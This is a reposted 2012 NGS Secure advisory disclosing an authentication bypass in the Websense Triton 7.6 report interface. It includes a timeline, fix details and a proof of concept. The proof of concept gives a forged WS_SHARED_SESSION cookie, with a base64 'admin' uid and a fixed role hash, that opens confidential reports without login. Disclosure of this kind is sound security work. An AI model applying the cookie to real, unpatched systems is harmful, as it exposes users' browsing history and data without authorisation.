本文共 3436 字，大约阅读时间需要 11 分钟。

=======
Summary
=======
Name: Websense (Triton 7.6) Authentication-bypass in report management UI 
Release Date: 30 April 2012
Reference: NGS00138
Discoverer: Ben Williams <ben.williams (at) ngssecure (dot) com [email concealed]>
Vendor: Websense
Vendor Reference: 
Systems Affected: 
Risk: High
Status: Published

========
TimeLine
========
Discovered: 25 October 2011
Released: 2 November 2011
Approved: 2 November 2011
Reported: 2 November 2011
Fixed: 2 December 2011
Published: 30 April 2012

===========
Description
===========
Websense (Triton 7.6) Authentication-bypass in report management UI

Websense is one of the world's best known web-filter products.

Websense (Triton 7.6) Authentication-bypass in the report management UI enabling unauthenticated access to confidential reports.

=================
Technical Details
=================
I. VULNERABILITY
-------------------------
Websense (Triton 7.6) Authentication-bypass in report management UI

II. BACKGROUND
-------------------------
Websense is one of the world's best known web-filter products.

The "Triton" administrative UI allows administration of multiple Websense solutions, including their Email, Web, and DLP products

http://www.websense.com/

III. DESCRIPTION
-------------------------
Websense (Triton 7.6) is prone to Authentication-bypass in the report management UI enabling unauthenticated access to confidential reports.

IV. PROOF OF CONCEPT
-------------------------
Affected URL: Multiple, but the main index is as follows: (dates need to be adjusted to be valid)

https://192.168.1.67:9443/explorer_wse/favorites.exe?startDate=2011-10-2
2&endDate=2011-10-23&action=def

It is possible to gain access to the report section without authentication, by adding a cookie with predefined values.
(This can be done with Cookie-Manager, or various other IE/Firefox plugins which can be used to edit browser cookies)

This gives full access to the report section of the user interface (but not the policy-management section).

The Websense reports contain confidential information such as user data, browsing history, system information, and blocked threats.

Here is the cookie to add:

Domain = 192.168.1.67
Name = WS_SHARED_SESSION
Value = "{uid=YWRtaW4=,
userRoles=664332B2D4D7ECEBBC6DC1FA92D160BFDC102E4B2F8CC983B712A0D24B631F
5CF029F7967E8C92C3F7193EABE67F652A,
domain=192.168.1.67}";

(set an expiry date a good while in the future)

... and then browse the following URL to get the reports:

https://192.168.1.67:9443/explorer_wse/favorites.exe?startDate=2011-10-2
2&endDate=2011-10-23&action=def

(dates in the URL need to be adjusted to be valid)

The only component of the cookie which looks anything like a session token is shown below. This never seems to change, and was the same on 2 separate installations of the product, which leads me to believe that this is predefined "admin role" information.

userRoles=664332B2D4D7ECEBBC6DC1FA92D160BFDC102E4B2F8CC983B712A0D24B631F
5CF029F7967E8C92C3F7193EABE67F652A

The "uid" is simply a base64 encoded "admin". Other cookies are set based on this value, but it does not seem to need to be "admin" or any existing user to access the reports (this uid does seem to be used when accessing "favorite" reports)

===============
Fix Information
===============
This issue is addressed in Hotfix 24, which can be downloaded at:
https://www.websense.com/content/mywebsense-hotfixes.aspx

NGS Secure Research
http://www.ngssecure.com

转载地址：http://vvhmb.baihongyu.com/